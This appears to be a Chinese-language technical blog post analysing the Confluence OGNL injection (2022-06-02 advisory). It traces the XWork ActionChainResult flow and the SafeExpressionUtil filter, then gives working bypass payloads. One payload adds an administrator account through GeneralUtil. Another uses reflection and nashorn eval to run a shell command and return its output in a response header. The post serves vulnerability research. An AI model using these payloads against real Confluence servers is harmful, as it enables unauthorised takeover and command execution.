由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
环境准备
docker-compose
version: '2' services: web: image: atlassian/confluence-server:7.18.0-jdk11 ports: - "8090:8090" - "5005:5005" depends_on: - db db: image: postgres:12.8-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
进入实例查找
setenv.sh
,在CATALINA_OPTS
添加 debug 信息并重启CATALINA_OPTS="${CATALINA_OPTS} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" export CATALINA_OPTS
在 IDEA 添加
Remote JVM Debug
,同时将confluence/lib
添加到 Library 中即可
前置内容
XWork
在 Apache 上关于 XWork 的介绍
XWork 2 is a generic command pattern framework. It forms the core of Struts 2. It features:
- Flexible and customizable configuration based on a simple Configuration interface, allowing you to use XML , programmatic, or even product-integrated configuration
- Core command pattern framework which can be customized and extended through the use of interceptors to fit any request / response environment
- Built in type conversion and action property validation using OGNL
- Powerful validation framework based on runtime attributes and a validation interceptor
实际上 Confluence 里还使用的 XWork 1 修改版,具体区别我们不用考虑,更多是了解到很多 OGNL 注入源于这个框架,例如struts2 中的黑名单
其架构大致如下,贴在这里方便后续理解
分析
通过Confluence Security Advisory 2022-06-02公告主要更新了xwork-1.0.3-atlassian-10.jar
其与前一个版本主要的修改com.opensymphony.xwork.ActionChainResult#execute
很直观是OGNL注入,如果分析过s2-057,那基本就不需要后续这段分析了
ActionXXX
经过 Tomcat Filter 后由 ConfluenceServletDispatcher 处理,其继承自 ServletDispatcher
再此创建一个ActionProxy开始处理内容
public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) {
Map extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, this.getServletConfig());
extraContext.put("com.opensymphony.xwork.dispatcher.ServletDispatcher", this);
try {
ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
proxy.execute();
...
创建Proxy时有个小细节,com.opensymphony.xwork.DefaultActionProxyFactory#createActionProxy
会赋值executeResult=true
public ActionProxy createActionProxy(String namespace, String actionName, Map extraContext) throws Exception {
return new DefaultActionProxy(namespace, actionName, extraContext, true);
}
代理处理上下文时实际通过Interceptor.intercept进行处理,大部分Interceptor都是通用形式处理部分内容并不产生结果,同时回调invoke交付给下一个处理,最终由某个Interceptor产生结果并反映到ActionContext最终返回
public String invoke() throws Exception {
if (this.executed) {
throw new IllegalStateException("Action has already executed");
} else {
if (this.interceptors.hasNext()) {
Interceptor interceptor = (Interceptor)this.interceptors.next();
this.resultCode = interceptor.intercept(this);
} else if (this.proxy.getConfig().getMethodName() == null) {
this.resultCode = this.getAction().execute();
} else {
this.resultCode = this.invokeAction(this.getAction(), this.proxy.getConfig());
}
if (!this.executed) {
if (this.preResultListeners != null) {
Iterator iterator = this.preResultListeners.iterator();
while(iterator.hasNext()) {
PreResultListener listener = (PreResultListener)iterator.next();
listener.beforeResult(this, this.resultCode);
}
}
if (this.proxy.getExecuteResult()) {
this.executeResult();
}
this.executed = true;
}
return this.resultCode;
}
}
不同版本Interceptors会有差异,无关紧要,这里关注到ConfluenceAccessInterceptor
在com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor
中,其intercept首先判断容器是否正常启动且当前用户是否有权限访问相关action,当某一个失败时便返回notpermitted
脱离轮训并尝试立即处理
public class ConfluenceAccessInterceptor extends AbstractAwareInterceptor {
private final Supplier<ActionAccessChecker> actionAccessChecker = new LazyComponentReference("actionAccessChecker");
public ConfluenceAccessInterceptor() {
}
public String intercept(ActionInvocation actionInvocation) throws Exception {
return ContainerManager.isContainerSetup() && !this.isAccessPermitted(actionInvocation) ? "notpermitted" : actionInvocation.invoke();
}
private boolean isAccessPermitted(ActionInvocation actionInvocation) {
return ((ActionAccessChecker)this.actionAccessChecker.get()).isAccessPermitted(actionInvocation.getAction(), actionInvocation.getProxy().getConfig().getMethodName());
}
}
因为在此之前ActionProxy设置有executeResult=true
,于是进入com.opensymphony.xwork.DefaultActionInvocation#executeResult
并一路到达com.opensymphony.xwork.ActionChainResult#execute
finalNamespace & finalActionName
为什么利用点是finalNamespace
而不能是finalActionName
因为在创建ActionProxy时需要根据namespace、action来获取config,在namespace为payload无法有效获取时,会获取默认配置列表,又由于此时action为自动填充的index
所以会返回相关配置信息
若无有效config配置信息,程序会报错返回,因此限定了利用点为finalNamespace
利用
对于低版本cf可以复用之前的OGNL注入payload,但v7.15开始加入了SafeExpressionUtil
来过滤危险OGNL执行
public Object findValue(String expr) {
try {
if (expr == null) {
return null;
} else if (!this.safeExpressionUtil.isSafeExpression(expr)) {
return null;
} else {
if (this.overrides != null && this.overrides.containsKey(expr)) {
expr = (String)this.overrides.get(expr);
}
return this.defaultType != null ? this.findValue(expr, this.defaultType) : Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
}
在com.opensymphony.xwork.util.SafeExpressionUtil
定义有不安全的Property、Package、Method,以及安全的Class
private final Set<String> unsafePropertyNames = this.getUnsafePropertyNames();
private final Set<String> unsafePackageNames = this.getUnsafePackageNames();
private final Set<String> unsafeMethodNames = this.getUnsafeMethodNames();
private final Set<String> allowedClassNames = this.getAllowedClassNames();
并最终落实在com.opensymphony.xwork.util.SafeExpressionUtil#isSafeExpressionInternal
执行判断逻辑
并对表达式的各个节点执行检查
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpression instanceof Node) {
if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
...
private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
String nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;
} else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
return true;
} else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
return true;
} else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
return true;
} else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
return true;
} else {
for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
Node childNode = node.jjtGetChild(i);
if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
return true;
}
}
return false;
}
}
对此有两种常用的绕过
- allowClass 找新 gadget
- 反射
allowClass
一眼看过去com.atlassian.confluence.util.GeneralUtil
是最直接的,其提供了很多入口以及工具
添加用户
bucket.user.DefaultUserAccessor#addUser(java.lang.String, java.lang.String, java.lang.String, java.lang.String)
对应
${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser("sari3l","123456","[email protected]","Sari3l")}
添加用户同时设置用户组
bucket.user.DefaultUserAccessor#addUser(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String[])
对应
${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser("sari3l","123456","[email protected]","Sari3l", @com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}
反射
反射绕过是从很早struts2就开始利用的操作,对于黑白名单绕过非常有效
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(填充))"))}
推荐:http://xssor.io/ 使用 -10EN
编码
var r='';var p = java.lang.Runtime.getRuntime().exec('id').getInputStream();while (1) {var b = p.read();if (b == -1) {break;}r=r+String.fromCharCode(b)};r
例如
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,114,61,39,39,59,118,97,114,32,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,114,61,114,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,114))"))}
黑白名单
Key | Set |
---|---|
unsafePropertyNames | |
unsafePackageNames | |
unsafeMethodNames | |
allowedClassNames |